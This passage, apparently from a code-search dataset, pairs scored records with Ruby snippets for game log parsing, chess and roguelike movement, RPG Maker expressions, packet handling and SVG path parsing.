(dead)\n elsif @options[:display_chat] && data.gsub(/: \"(.+)<\\d+><.+><([A-Z]+)>\" say \"(.+)\"/).count > 0\n player, player_team, message = data.match(/: \"(.+)<\\d+><.+><([A-Z]+)>\" say \"(.+)\"/i).captures\n content = { :type => 'chat', :params => { :player => player, :player_team => get_short_team_name(player_team), :chat => message } }\n\n # L 05/10/2000 - 12:34:56: \"Player<15><STEAM_0:0:12345><TERRORIST>\" say_team \"Rush B\" (dead)\n elsif @options[:display_team_chat] && data.gsub(/: \"(.+)<\\d+><.+><([A-Z]+)>\" say_team \"(.+)\"/).count > 0\n player, player_team, message = data.match(/: \"(.+)<\\d+><.+><([A-Z]+)>\" say_team \"(.+)\"/i).captures\n content = { :type => 'team_chat', :params => { :player => player, :player_team => get_short_team_name(player_team), :chat => message } }\n\n # L 05/10/2000 - 12:34:56: \"Player<73><STEAM_ID_LAN><>\" connected, address \"192.168.4.186:1339\"\n elsif @options[:display_connect] && data.gsub(/: \"(.+)<\\d+><.+>\" connected, address \"(.+):(.+)\"/).count > 0\n player, ip, port = data.match(/: \"(.+)<\\d+><.+>\" connected, address \"(.+):(.+)\"/i).captures\n content = { :type => 'connect', :params => { :player => player, :ip => ip, :port => port } }\n\n # L 05/10/2000 - 12:34:56: \"Player<73><STEAM_ID_LAN><TERRORIST>\" disconnected\n elsif @options[:display_disconnect] && data.gsub(/: \"(.+)<\\d+><.+><(.+)>\" disconnected/).count > 0\n player, player_team = data.match(/: \"(.+)<\\d+><.+><(.+)>\" disconnected/i).captures\n content = { :type => 'disconnect', :params => { :player => player, :player_team => get_short_team_name(player_team) } }\n\n end\n\n # no matching pattern, no output\n @displayer.new(content) unless content.nil?\n\n end", "title": "" }, { "docid": "f3f040dd07e567af633069321dab5a34", "score": "0.50690335", "text": "def process_move(input)\n\t\ttarget = OpenStruct.new({ x: @player.get(:display).x, y: @player.get(:display).y })\n\t\t\n\t\tif (input == 'up') then\n\t\t\ttarget.y -= 1\n\t\telsif (input == 'down') then\n\t\t\ttarget.y += 1\n\t\telsif (input == 'left') then\n\t\t\ttarget.x -= 1\n\t\telsif (input == 'right')\n\t\t\ttarget.x += 1\n\t\tend\n\t\t\n\t\te = entity_at(target.x, target.y)\n\t\t\n\t\t# Nothing there or nothing solid (like stairs)\n\t\tif e.nil? || (e.has?(:solid) && e.get(:solid) == false)\n\t\t\t@player.get(:display).x = target.x\n\t\t\t@player.get(:display).y = target.y\t\t\t\n\t\tend\n\t\t\n\t\tif (!e.nil? && e.has?(:input))\t\t\t\n\t\t\te.get(:input).process_input(input)\n\t\tend\n\t\t\n\t\treturn e\n\tend", "title": "" }, { "docid": "e95ee71d80388bf88754ab9ada4b322b", "score": "0.506467", "text": "def format_input_move(input)\n output = input.split(\"\")-[\" \"] #creates an array [from_row, from_col, to_row, to_col]\n output_move = [[output[1].to_i, map_col(output[0])], [output[3].to_i, map_col(output[2])]]\n end", "title": "" }, { "docid": "9c4c95d93c5087ff2ae657746d252032", "score": "0.5056916", "text": "def parse(data); end", "title": "" }, { "docid": "9c4c95d93c5087ff2ae657746d252032", "score": "0.5056916", "text": "def parse(data); end", "title": "" }, { "docid": "5882a20a67e268d1e162d18e2c27baf0", "score": "0.504717", "text": "def convert(data)\n @name = data[0]\n @numbering_order = data[1]\n @short_name = data[2]\n @alliance_count = data[3]\n end", "title": "" }, { "docid": "7461b8116e87f2fd15f1b12fb7f0420a", "score": "0.504395", "text": "def mavsb_game_data_expression(type, param1, param2)\n case type\n when 0 then return \"$game_party.item_number(#{$data_items[param1]})\" # Items\n when 1 # Weapons\n return \"$game_party.item_number(#{$data_weapons[param1]})\" \n when 2 # Armors\n then return \"$game_party.item_number(#{$data_armors[param1]})\" \n when 3 # Actors\n if $game_actors[param1]\n case param2\n when 0 then return \"$game_actors[#{param1}].level\" # Level\n when 1 then return \"$game_actors[#{param1}].exp\" # Exp\n when 2 then return \"$game_actors[#{param1}].hp\" # HP\n when 3 then return \"$game_actors[#{param1}].mp\" # MP\n when 4..11 # Parameter\n return \"$game_actors[#{param1}].param(#{param2 - 4})\"\n end\n end\n when 4 # Enemies\n if $game_troop.members[param1]\n case param2\n when 0 then return \"$game_troop.members[#{param1}].hp\" # HP\n when 1 then return \"$game_troop.members[#{param1}].mp\" # MP\n when 2..9 # Parameter\n return \"$game_troop.members[#{param1}].param(#{param2 - 2})\"\n end\n end\n when 5 # Character\n character = get_character(param1)\n if character\n char_e = character.is_a?(Game_Player) ? \"$game_player\" : \n \"$game_map.map_id == #{$game_map.map_id} ? $game_map.events[#{character.id}] : 0\"\n case param2 \n when 0 then return \"#{char_e}.x\" # X-coordinate\n when 1 then return \"#{char_e}.y\" # Y-coordinate\n when 2 then return \"#{char_e}.direction\" # Direction\n when 3 then return \"#{char_e}.screen_x\" # Screen X-coordinate\n when 4 then return \"#{char_e}.screen_y\" # Screen Y-coordinate\n end\n end\n when 6 # Party\n return \"$game_party.members[#{param1}] ? $game_party.members[#{param1}].id : 0\"\n when 7 # Other\n case param1\n when 0 then return \"$game_map.map_id\" # Map ID\n when 1 then return \"$game_party.members.size\" # Party Size\n when 2 then return \"$game_party.gold\" # Gold\n when 3 then return \"$game_party.steps\" # Steps\n when 4 then return \"Graphics.frame_count / Graphics.frame_rate\" # Playtime\n when 5 then return \"$game_timer.sec\" # Timer\n when 6 then return \"$game_system.save_count\" # Save Count\n when 7 then return \"$game_system.battle_count\" # Battle Count\n end\n end\n return \"0\"\n end", "title": "" }, { "docid": "0666343f044f9b24be531a018f904a56", "score": "0.50346273", "text": "def move(move)\n\n # First, it checks whether or not the move it has recieved is found \n # in the board's array of valid moves (i.e., Board.finalList).\n\n if finalList.include? move\n\n # Second, it uses the movePiece function to manipulate the board\n # according to the validated move. \n\n movePiece(move, @data)\n\n # Third, if the raw move data contains a promotion command then\n # edit the board data accordingly. \n\n if move - ((move/1000) * 1000) > 99\n case ((move - ((move/1000) * 1000)) / 100) * 100\n when 100\n if @white_to_play\n @data[move - ((move/100) * 100)] = 120\n else\n @data[move - ((move/100) * 100)] = 220\n end\n when 200\n if @white_to_play\n @data[move - ((move/100) * 100)] = 130\n else\n @data[move - ((move/100) * 100)] = 230\n end\n when 300\n if @white_to_play\n @data[move - ((move/100) * 100)] = 140\n else\n @data[move - ((move/100) * 100)] = 240\n end\n when 400\n if @white_to_play\n @data[move - ((move/100) * 100)] = 150\n else\n @data[move - ((move/100) * 100)] = 250\n end\n end\n end\n\n if move == 51071 then movePiece(81061, @data) end\n if move == 51031 then movePiece(11041, @data) end\n if move == 58078 then movePiece(88068, @data) end\n if move == 58038 then movePiece(18048, @data) end \n\n # Fouth, if the move involves a pawn, rook, or king edit the board \n # such that the piece has its special status updated (if it has not\n # already been marked as having moved).\n\n if (pieceType(@data[move - ((move/100) * 100)]) == \"pawn\" || pieceType(@data[move - ((move/100) * 100)]) == \"king\" || pieceType(@data[move - ((move/100) * 100)]) == \"rook\") && specialStatus(@data[move - ((move/100) * 100)]) == \"none\" \n @data[move - ((move/100) * 100)] = @data[move - ((move/100) * 100)] + 1\n end\n\n # Fifth, roll over the player turn counter such that if it was\n # white to play it becomes black to play and if it was black to\n # play it becomes white to play.\n\n @white_to_play = !@white_to_play\n\n # And finally, after all the necessary updates to the board\n # data have been made construct a new list of available moves\n # (i.e., finalList) for the next time the move function is called. \n\n initial_list_constructor\n final_list_constructor\n else\n\n # If the move passed to this function is not in list of available\n # moves then return the number 0. \n\n return(0)\n end\n end", "title": "" }, { "docid": "93de6a3d411b49b84e2b4aa03b375f0a", "score": "0.5018141", "text": "def parse! data\n @commands = []\n tree = @moves.parse(data)\n if tree.nil?\n raise ParsingError::InvalidStatement,\n [\"'#{data}' is not a valid statement\",\n @moves.failure_line,\n @moves.failure_reason].join('. ')\n end\n\n clean_tree(tree)\n elucidate(tree.elems)\n @commands\n end", "title": "" }, { "docid": "82705c8164a3412f71f67e6321aad2c1", "score": "0.50167197", "text": "def do_move(move_params)\n\t\tputs move_params\n\t\tstart_pos, end_pos, promo_code = parse_move(move_params)\n\t\tputs \"start pos #{start_pos.short}, end pos #{end_pos.short}\"\n\t\tmove = new_move_from_coordinates(start_pos, end_pos, promo_code)\n\t\tputs \"piece position #{move.piece.position.short}, destination #{move.destination.short}\"\n\t\tboard.do_move(move)\n\tend", "title": "" }, { "docid": "d6bdd7cf8a3c9585634fc81f5780355a", "score": "0.5012386", "text": "def move_data\n\t\t# moves almost all the way over\n\t\tuntil @zero_pos[0] == 1 && @zero_pos[1] == 0\n\t\t\tcurr = @data[@current_pos[0]][@current_pos[1]]\n\t\t\tleft = @data[@current_pos[0]][@current_pos[1] - 1]\n\t\t\tdiag = @data[@current_pos[0] + 1][@current_pos[1] - 1]\n\t\t\tnew_curr = @data[@current_pos[0] + 1][@current_pos[1] - 2]\n\t\t\ttemp = left[:used]\n\t\t\tleft[:used] = curr[:used]\n\t\t\tcurr[:used] = temp\n\t\t\tdiag[:used] = new_curr[:used]\n\t\t\tnew_curr[:used] = 0\n\t\t\t@zero_pos[1] -= 1\n\t\t\t@current_pos[1] -= 1\n\t\t\t@steps += 5\n\t\tend\n\t\t# the last two final movements\n\t\tcurr = @data[@current_pos[0]][@current_pos[1]]\n\t\tdiag = @data[@current_pos[0] + 1][@current_pos[1] - 1]\n\t\tdiag[:used] = diag[:used]\n\t\t@data[@current_pos[0]][@current_pos[1] - 1][:used] = curr[:used]\n\t\tcurr[:used] = 0\n\t\t@current_pos[1] -= 1\n\t\t@steps += 2\n\tend", "title": "" }, { "docid": "a0cf84c67dd83b0b3a7c85b69508e7a9", "score": "0.4984479", "text": "def dispatch_movement(filter, player_id, units, route_hops, jumps_at)\n typesig binding, [NilClass, Dispatcher::PushFilter], Fixnum, Array, Array,\n [NilClass, Time]\n\n dispatcher.push_to_player!(\n player_id,\n UnitsController::ACTION_MOVEMENT,\n {\n # #to_a to ensure collections are eagerly loaded\n 'units' => units.to_a,\n 'route_hops' => route_hops.to_a,\n 'jumps_at' => jumps_at\n },\n filter\n )\n end", "title": "" }, { "docid": "d252d499f41f6eb6d9fca8116dd82c8b", "score": "0.49778467", "text": "def sensor_data(packet)\n\t\t\trange = packet['']\n\t\t\t@range = range.split(';').map! { |x| x.to_f } if !range.nil?\n\t\tend", "title": "" }, { "docid": "f1f910f6c7cf8a559fd8578dfbd4a849", "score": "0.49761084", "text": "def convertDataLine( line )\n loadLine = ''\n ## always have seqno and my translated hhreference as 0 and 1 elements.\n # \n ival = @hhrefs[ line[ @sernumPos ] ]\n ival = MISS if( ival.nil? )\n loadLine += \"#{line[ @sernumPos ]} #{ival} \"; \n @variables.size.times{\n |p|\n if( p != @sernumPos ) then\n type = @variables[p].type;\n item = line[p];\n if( not item.nil? and (item.length > 0) ) then\n item.strip!();\n end;\n item = cleanupItem( item, type );\n loadLine += item;\n if( @variables.size - 1) > p then \n loadLine += \" \"\n end\n end;\n }\n loadLine += \"\\n\";\n puts \"writing line #{loadLine}\";\n return loadLine;\n end", "title": "" }, { "docid": "8431421f48b38c91296a9c461a33d87f", "score": "0.49745592", "text": "def move(direction,value) #2 Instance Method\n \n\"move to #{direction} with #{value} for #{@codeName}.\"\n \nend", "title": "" }, { "docid": "283edb5cb5044699e887626aae1378b4", "score": "0.49694803", "text": "def store!(data)\n key_value, command = data.to_s.split(\"|\", 2)\n key, value = key_value.to_s.split(\":\")\n \n return unless key && value && command && key.length > 0 && value.length > 0 && command.length > 0\n \n key = Stepper.parse_key(key).join(\":\")\n value = value.to_i\n \n tms = (Time.now.to_f()*1000).round(0)\n #ts = Time.now.to_i\n\n if command == \"s\"\n self.steps[key] ||= {}\n #self.steps[key][\"t\"] = ts\n self.steps[key][\"t\"] = tms\n self.steps[key][\"ms\"] = value #MAX STEP\n self.steps[key][\"cs\"] = 0 #CURRENT STEP\n elsif command == \"su\"\n self.stepping[key] ||= {}\n #self.stepping[key][\"t\"] = ts\n self.stepping[key][\"t\"] = tms\n self.stepping[key][\"th\"] ||= []\n self.stepping[key][\"th\"].push(tms)\n self.stepping[key][\"cs\"] ||= 0\n self.stepping[key][\"cs\"] += value\n end\n \n self.udp_packets_received += 1\n end", "title": "" }, { "docid": "42bb8759244b1f380bc6d71935f76041", "score": "0.4964316", "text": "def event(string) \n packet=string.split(/ /,3) # Since the data is unimportant compared to the first two words, this splits the packet into a 3-length array\n command=packet[0] # Contains the sender's command \n\t frame= packet[1].to_i # The frame\n\t data=packet[2] # The sender's data\n\t \n case command #every packet the sender sends takes place here \n when \"SYN\" #start receiving data\n\t debug(\"made it this far\")\n if !@receiving #do nothing if we're already receiving, otherwise, magic \n\t\t changeOffset(frame)\n\t\t ack(frame+1)\n\t\t @receiving = true\n end\n when \"DAT\" #search for appropriate location of buffer, check to see if in range, check to see if data length is EXACTLY 50\n\t if @receiving and range.member? frame #this frame is within the buffer if true\n if full?\n debug(\"full before\")\n noHas\n @location = @list.getFirstNode\n end\n if frame == @location.object[:seq]\n if frame==MAX_BOUND\n changeOffset(-1)\n end\n @location.object[:data]=data; @location.object[:have]=true\n if @location.next == @list.rightSentinelNode\n noHas\n changeOffset(frame)\n @location = @list.getFirstNode\n ack \n else\n @location=@location.next\n ack\n end \n elsif frame > @location.object[:seq]\n nak #nak the current location...\n else #LAST THING ADDED; MAY OR MAY NOT WORK\n puts \"out of bounds error\"\n end\n\t\t end\n when \"FIN\" : @list.traverse{|node| puts node.object[:data] if node != @list.rightSentinelNode and node != @list.leftSentinelNode and node.object[:data] != nil};exit\n end \nend", "title": "" }, { "docid": "84d0b45af341bbd23e67b2761c88bd8d", "score": "0.49604097", "text": "def move_piece(move_info)\n from_ind = convert_coord_to_index(move_info[:from])\n to_ind = convert_coord_to_index(move_info[:to])\n type = move_info[:type]\n\n case type\n when \"short_castle\"\n short_castle(from_ind[:row])\n when \"long_castle\"\n long_castle(from_ind[:row])\n when \"promotion_capture\", \"promotion\"\n promote(from_ind, to_ind, move_info[:promote_to])\n when \"ep_capture\"\n en_passant(from_ind, to_ind)\n else\n move_or_capture(from_ind, to_ind) \n end \n end", "title": "" }, { "docid": "5337352acd478998c3fe1f946d9fa71e", "score": "0.49561113", "text": "def move_position(array, moneda)\n case moneda.class.to_s\n when 'Moneda'\n @moneda_b.x = array[0]\n @moneda_b.y = array[1]\n when 'MonedaPlata'\n @moneda_p.x = array[0]\n @moneda_p.y = array[1]\n when 'MonedaOro'\n @moneda_o.x = array[0]\n @moneda_o.y = array[1]\n end\n end", "title": "" }, { "docid": "35ecb122268dcde888027c8e52d5cb6b", "score": "0.49459735", "text": "def parse_data\n end", "title": "" }, { "docid": "b979ab34e49ced2b4404c653944f5482", "score": "0.49409455", "text": "def get_move(cmd)\n @cmd, @cmd_x, @cmd_y, @cmd_f = interpret.parse(cmd)\n # here we should check that the method that we are sending to the object is actually defined as\n machine.send(@cmd, @cmd_x.to_i, @cmd_y.to_i, @cmd_f.to_i) # dangerous code\n end", "title": "" }, { "docid": "eb27b0c66776bb3302fa0baf92b2324c", "score": "0.49299267", "text": "def convert(data)\n @name = data[0]\n @numbering_order = data[1]\n @short_name = data[2]\n @candidate_count = data[3]\n @coalition_name = data[4]\n end", "title": "" }, { "docid": "0bcfcbc0581d8170f6d3e8212b82ce54", "score": "0.49291715", "text": "def raw_to_location_list(data)\n # Check first to see if there is a cached (serialized) version of\n # the processed information.\n # XXX \n locations = []\n i = 0\n locations = []\n while (i < data.size)\n if (data[i+3]=~/.*mi\\z/) then \n loc = data[i..i+3]\n parts = []\n loc.each { |x| parts.push(x.split(':')[1].strip) }\n # go from \"0.28 mi\" to the float .28\n l = Location.new(parts[0],\n parts[1]+parts[2],\n Float(parts[3].split[0]))\n locations.push(l)\n i += 3\n else\n i = i+1\n end\n locations.uniq!\n end\n take_initial_segment(locations)\n end", "title": "" }, { "docid": "54ce7555d580ab2b21f7492ff93b9044", "score": "0.49236855", "text": "def parseInput(input_string)\n for dir in input_string do\n # Regular expression to break the string into direction command and no of steps.\n # This will ignore any symbols before the number in the direction command. considers only numbers and alphabets\n # If no number is specified then it is taken as 0.\n directions_array = dir.scan(/\\d+|[A-Za-z]+/)\n Movement(directions_array)\n end\n return [@x,@y]\n\n end", "title": "" }, { "docid": "0e286754e0b796fa8db8b99d62069341", "score": "0.49216062", "text": "def data(data)\n\n end", "title": "" }, { "docid": "3feb0c86c08ed4971f85a484d6d43293", "score": "0.49188703", "text": "def parse(data)\n @subpath_initial_point = @last_point = nil\n @previous_control_point = @previous_quadratic_control_point = nil\n @calls = []\n\n data = data.gsub(/#{OUTSIDE_SPACE_REGEXP}$/, '')\n\n matched_commands = match_all(data, COMMAND_REGEXP)\n raise InvalidError, \"Invalid/unsupported syntax for SVG path data\" if matched_commands.nil?\n\n matched_commands.each do |matched_command|\n command = matched_command[1]\n matched_values = match_all(matched_command[2], VALUES_REGEXP)\n raise \"should be impossible to have invalid inside data, but we ended up here\" if matched_values.nil?\n values = matched_values.collect {|value| value[1].to_f}\n run_path_command(command, values)\n end\n\n @calls\n end", "title": "" }, { "docid": "3feb0c86c08ed4971f85a484d6d43293", "score": "0.49188703", "text": "def parse(data)\n @subpath_initial_point = @last_point = nil\n @previous_control_point = @previous_quadratic_control_point = nil\n @calls = []\n\n data = data.gsub(/#{OUTSIDE_SPACE_REGEXP}$/, '')\n\n matched_commands = match_all(data, COMMAND_REGEXP)\n raise InvalidError, \"Invalid/unsupported syntax for SVG path data\" if matched_commands.nil?\n\n matched_commands.each do |matched_command|\n command = matched_command[1]\n matched_values = match_all(matched_command[2], VALUES_REGEXP)\n raise \"should be impossible to have invalid inside data, but we ended up here\" if matched_values.nil?\n values = matched_values.collect {|value| value[1].to_f}\n run_path_command(command, values)\n end\n\n @calls\n end", "title": "" }, { "docid": "251a40446dcb874cf64f7baa8dce2cb2", "score": "0.49170303", "text": "def initialize data\n @data = data\n @new_data = nil\n @actions = {\n :select => [],\n :delete => [],\n :move => {},\n :map => {}\n }\n\n @make_array = {}\n end", "title": "" }, { "docid": "40d17ae2dcfd3b9a3b32b0dcac139d85", "score": "0.4914065", "text": "def refactor_data(data, direction, position, field = nil)\n fields = data['fields']\n unless fields.nil?\n if direction == 1\n new_field = {}\n new_field['typeID'] = field.typeID\n new_field['unitName'] = field.unitName\n new_field['fieldID'] = field.fieldID\n new_field['fieldName'] = field.fieldName\n fields.insert(position, new_field)\n else\n fields.delete_at(position)\n end\n data['fields'] = fields\n end\n\n dp = data['dataPoints']\n unless dp.nil? or dp.length == 0\n dp.each_with_index do | d, i |\n if direction == 1 # up migration\n dp[i].insert(position, '')\n else # down migration\n dp[i].delete_at(position)\n end\n end\n data['dataPoints'] = dp\n\n text_fields = data['textFields']\n unless text_fields.nil? or text_fields.length == 0\n text_fields.each_with_index do | f, i |\n # if greater than position, add 1 because it was shifted over\n if f >= position\n text_fields[i] += direction\n end\n end\n text_fields.push(position)\n text_fields.sort!\n end\n data['textFields'] = text_fields\n\n time_fields = data['timeFields']\n unless time_fields.nil? or time_fields.length == 0\n time_fields.each_with_index do | f, i |\n # if greater than position, add 1 because it was shifted over\n if f >= position\n time_fields[i] += direction\n end\n end\n end\n data['timeFields'] = time_fields\n\n numeric_fields = data['numericFields']\n unless numeric_fields.nil? or numeric_fields.length == 0\n numeric_fields.each_with_index do | f, i |\n # if greater than position, add 1 because it was shifted over\n if f >= position\n numeric_fields[i] += direction\n end\n end\n end\n data['numericFields'] = numeric_fields\n\n geo_fields = data['geoFields']\n unless geo_fields.nil? or geo_fields.length == 0\n geo_fields.each_with_index do | f, i |\n # if greater than position, add 1 because it was shifted over\n if f >= position\n geo_fields[i] += direction\n end\n end\n end\n data['geoFields'] = geo_fields\n\n normal_fields = data['normalFields']\n unless normal_fields.nil? or normal_fields.length == 0\n normal_fields.each_with_index do | f, i |\n # if greater than position, add 1 because it was shifted over\n if f >= position\n normal_fields[i] += direction\n end\n end\n end\n data['normalFields'] = normal_fields\n\n end\n data\n end", "title": "" }, { "docid": "f37a717f0b46892adf396cf4ee7e2170", "score": "0.49134675", "text": "def get data\r\n @last_message = Time.now\r\n begin\r\n if data == 'stats'\r\n send Stats.to_s\r\n return\r\n elsif data[0..3] == 'nick'\r\n @nickname = data[4..-1]\r\n Stats.update @id, @nickname\r\n return\r\n elsif data[0..3] == 'init'\r\n marshal = Marshal.load data[4..-1]\r\n GamePlay.init_player self, marshal\r\n end\r\n data && alive? || return\r\n Player::send_out Action.new(@id,[data[0..3],data[4..7]],data[8..-1])\r\n rescue => e\r\n p e\r\n end\r\n end", "title": "" }, { "docid": "c7a5054ac2b6174a89784877ba293277", "score": "0.49097523", "text": "def map_data(name, data) ; data end", "title": "" }, { "docid": "367cfeaeb99fc6257f1be24793c73bfd", "score": "0.48980623", "text": "def move(move)\n case move.orientation\n when Move::HORIZONTAL\n move.word.size.times{|i| @matrix[move.x][move.y+i] = move.word[i].chr}\n when Move::VERTICAL\n move.word.size.times{|i| @matrix[move.x+i][move.y] = move.word[i].chr}\n end\n end", "title": "" }, { "docid": "99a59a3d6eaba284ef916809a37b42f5", "score": "0.48969516", "text": "def get_move\n\tend", "title": "" }, { "docid": "2307f3a3b73dcba5cd60265fa13a9128", "score": "0.4884922", "text": "def parse_data_packet(packet); end", "title": "" }, { "docid": "65069e9e5845b8542b5128b443db7c42", "score": "0.48807883", "text": "def data=(pokemon)\n @moveset = pokemon.moveset\n 4.times do |index|\n @stack.stack[index].data = @moveset[index]\n end\n end", "title": "" }, { "docid": "91624a1cc8b9a815071ff55debf7fc7d", "score": "0.48798358", "text": "def parse_data; end", "title": "" }, { "docid": "b83287def8d65edbb35fc99bb93c8477", "score": "0.48790118", "text": "def __on_data(text)\n if develop\n puts develop\n rehash\n end\n text = encoder.f_s(text)\n cmd = Command.new text\n # puts \"<=\" + encoder.t_t(text)\n events.parse(cmd)\n end", "title": "" }, { "docid": "9f03e2351f25041a2bf999734ba44692", "score": "0.48786107", "text": "def get_move\n\n\tend", "title": "" }, { "docid": "425a73fb72093c0a30731db864cbb2ef", "score": "0.48748603", "text": "def send_data( data, format = CF_TEXT, item = \"\" )\n data_pointer = FFI::MemoryPointer.from_string(data.to_s)\n result, trans_id = start_transaction(XTYP_POKE, data_pointer, data_pointer.size, format, item)\n result\n end", "title": "" }, { "docid": "504e6e089dd86a485128152f1c781156", "score": "0.48747522", "text": "def parse(token)\n case(token.type)\n when :place\n #expects 3 arguments\n x = token.args[0]\n y = token.args[1]\n direction = token.args[2]\n Command::Place.new(@robot,@table,Coordinate.new(x,y),direction)\n when :move\n Command::Move.new(@robot)\n when :left\n Command::TurnLeft.new(@robot)\n when :right\n Command::TurnRight.new(@robot)\n when :report\n Command::Report.new(@robot,@out)\n when :invalid\n Command::Empty.new\n end\n end", "title": "" }, { "docid": "dfc744ac49a1c9b011bc74e7ff672238", "score": "0.487055", "text": "def type\n return pbGetMoveData(@id,MOVE_TYPE) || 0\n end", "title": "" }, { "docid": "273a2801f84268c5241ecebe0a25e4ea", "score": "0.48627603", "text": "def offsetevent(type, payload, delay)\n parts = payload.split(\",\", 10)\n parts[1] = offsettime parts[1], delay\n parts[2] = offsettime parts[2], delay\n return type + \": \" + parts.join(\",\") + \"\\n\"\nend", "title": "" }, { "docid": "859d4e77672db07b0f039840429ac0ad", "score": "0.48588887", "text": "def get_route_command(path_address,moving_direction)\r\r\n cmd_list = []\r\r\n \r\r\n for i in 0...path_address.size\r\r\n curx = path_address[i].x\r\r\n cury = path_address[i].y\r\r\n \r\r\n command_id = 0\r\r\n debug_info = \"\"\r\r\n case moving_direction[i]\r\r\n when 2\r\r\n debug_info = \"↓\"\r\r\n command_id = 1\r\r\n when 4\r\r\n debug_info = \"←\"\r\r\n command_id = 2\r\r\n when 6\r\r\n debug_info = \"→\"\r\r\n command_id = 3\r\r\n when 8\r\r\n debug_info = \"↑\"\r\r\n command_id = 4\r\r\n else\r\r\n debug_info = \"O\"\r\r\n end #case\r\r\n \r\r\n puts \"#{debug_info} (#{curx},#{cury})\" if $pathfinding_debug\r\r\n if command_id > 0\r\r\n command = RPG::MoveCommand.new\r\r\n command.code = command_id\r\r\n cmd_list.push(command)\r\r\n end # if command_id > 0\r\r\n end # for i in path_address.size\r\r\n \r\r\n command = RPG::MoveCommand.new\r\r\n command.code = 0\r\r\n cmd_list.push(command)\r\r\n route = RPG::MoveRoute.new\r\r\n route.repeat = false\r\r\n route.list = cmd_list\r\r\n \r\r\n return route\r\r\n end", "title": "" }, { "docid": "b051f19489de20f05619328a72d48a80", "score": "0.48578256", "text": "def recieve_data(points)\n\t\t\n\tend", "title": "" }, { "docid": "92d6f964fe17fbf1c16fe22e2e54084d", "score": "0.4844757", "text": "def parse_move(string:)\n case\n when string.start_with?('claim')\n Tarot::CommandClaim.new(command: string)\n when string.start_with?('commit')\n Tarot::CommandCommit.new(command: string)\n when string.start_with?('place')\n Tarot::CommandPlace.new(command: string)\n when string.start_with?('trash')\n Tarot::CommandTrash.new(command: string)\n else\n raise InvalidMoveException, \"\\\"#{string}\\\"\"\n end\n end", "title": "" }, { "docid": "2a7dbe3ac6fd67071261c50db9121654", "score": "0.48447502", "text": "def parse(move)\n # replace all letters with the number that is used internally\n move.map! do |e|\n e.gsub(/a/, '1').gsub(/b/, '2').gsub(/c/, '3').gsub(/d/, '4').gsub(/e/, '5').gsub(/f/, '6').gsub(/g/, '7').gsub(/h/, '8')\n end\n\n # change the 2 digit string (\"11\") into an array of 1x2 of integers ([1, 1])\n move.map do |e|\n e.scan(/./).map { |str| str.to_i }\n end\n # \n end", "title": "" }, { "docid": "390b4c0540a7918c3fcd954b3a4369e9", "score": "0.4839022", "text": "def add_move(loc, move)\n [loc[0] + move[0], loc[1] + move[1]]\n end", "title": "" }, { "docid": "896d819c0f85a5bcda389d7b8536a12a", "score": "0.4833148", "text": "def parse_data(labels, data)\n labels.length.times do |i|\n vals = (data[i] + \",\").split(/(,)/).delete_if{ |e| e == \",\"} #Keep empty parts as well, especially also if the last entry is empty.\n if (labels[i] == \"times\")\n self.extra_data[\"times\"] = vals.map{|x| x.to_i}\n else\n self.extra_data[labels[i]] = vals\n end\n end\n save\n end", "title": "" }, { "docid": "7d5602a5d89323aef0bda334225e1359", "score": "0.48318374", "text": "def push(data)\n msg = case data\n when String then Message.new(data)\n when Message then data\n else\n raise ArgumentError, \"Invalid message: #{data.inspect}\"\n end\n msg.id = @table << to_row(msg)\n msg\n end", "title": "" }, { "docid": "068dc0b4adf2f277c6da0c70a485ba4f", "score": "0.48276585", "text": "def update_move(data)\n # if control update was not aborted\n if data != nil\n # if moved down\n if player.real_y > data[2] && player.real_y - $game_map.display_y > CY\n # scroll screen down\n $game_map.scroll_down(player.real_y - data[2])\n end\n # if moved left\n if player.real_x < data[1] && player.real_x - $game_map.display_x < CX\n # scroll screen left\n $game_map.scroll_left(data[1] - player.real_x)\n end\n # if moved right\n if player.real_x > data[1] && player.real_x - $game_map.display_x > CX\n # scroll screen right\n $game_map.scroll_right(player.real_x - data[1])\n end\n # if moved up\n if player.real_y < data[2] && player.real_y - $game_map.display_y < CY\n # scroll screen up\n $game_map.scroll_up(data[2] - player.real_y)\n end\n # if not moving\n unless player.moving?\n # if was moving before and event escape expired and event not triggered\n if data[0] && @evented == 0 && check_event_trigger_here([1, 2])\n # set event trigger escape counter to one second\n @evented = 40\n end\n # if pressed C button\n if Input.trigger?(Input::C)\n # check event here\n check_event_trigger_here([0])\n # check event there\n check_event_trigger_there([0, 1, 2])\n end\n end\n end\n # update actors' characters\n update_actors\n # update ABS controls\n $game_system.controls.update\n end", "title": "" }, { "docid": "068dc0b4adf2f277c6da0c70a485ba4f", "score": "0.48276585", "text": "def update_move(data)\n # if control update was not aborted\n if data != nil\n # if moved down\n if player.real_y > data[2] && player.real_y - $game_map.display_y > CY\n # scroll screen down\n $game_map.scroll_down(player.real_y - data[2])\n end\n # if moved left\n if player.real_x < data[1] && player.real_x - $game_map.display_x < CX\n # scroll screen left\n $game_map.scroll_left(data[1] - player.real_x)\n end\n # if moved right\n if player.real_x > data[1] && player.real_x - $game_map.display_x > CX\n # scroll screen right\n $game_map.scroll_right(player.real_x - data[1])\n end\n # if moved up\n if player.real_y < data[2] && player.real_y - $game_map.display_y < CY\n # scroll screen up\n $game_map.scroll_up(data[2] - player.real_y)\n end\n # if not moving\n unless player.moving?\n # if was moving before and event escape expired and event not triggered\n if data[0] && @evented == 0 && check_event_trigger_here([1, 2])\n # set event trigger escape counter to one second\n @evented = 40\n end\n # if pressed C button\n if Input.trigger?(Input::C)\n # check event here\n check_event_trigger_here([0])\n # check event there\n check_event_trigger_there([0, 1, 2])\n end\n end\n end\n # update actors' characters\n update_actors\n # update ABS controls\n $game_system.controls.update\n end", "title": "" }, { "docid": "aa598113068806fc8255ad156434cfe4", "score": "0.482753", "text": "def parse(input)\n case input\n when PLACE_COMMAND_PATTERN then\n # destructuring array into variables: X, Y, facing direction\n _input, x, y, facing = input.match(PLACE_COMMAND_PATTERN).to_a\n PlaceCommand.new(@table, @robot, Position.new(x.to_i, y.to_i, facing))\n when 'MOVE' then MoveCommand.new(@table, @robot)\n when 'LEFT' then LeftCommand.new(@robot)\n when 'RIGHT' then RightCommand.new(@robot)\n when 'REPORT' then ReportCommand.new(@robot)\n end\n end", "title": "" }, { "docid": "cad93a87a00f975a645bbf259d9b0eec", "score": "0.4827158", "text": "def sensor_data(packet)\n\t\t\tpos, rot = packet[:Location], packet[:Orientation]\n\t\t\tif !pos.nil? && !rot.nil?\n\t\t\t\t@position = pos.to_v\n\t\t\t\t@direction = rot.to_v\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "e756fff941f6254ee85f33bfe4cf8b1b", "score": "0.4825036", "text": "def load_track_data (data, 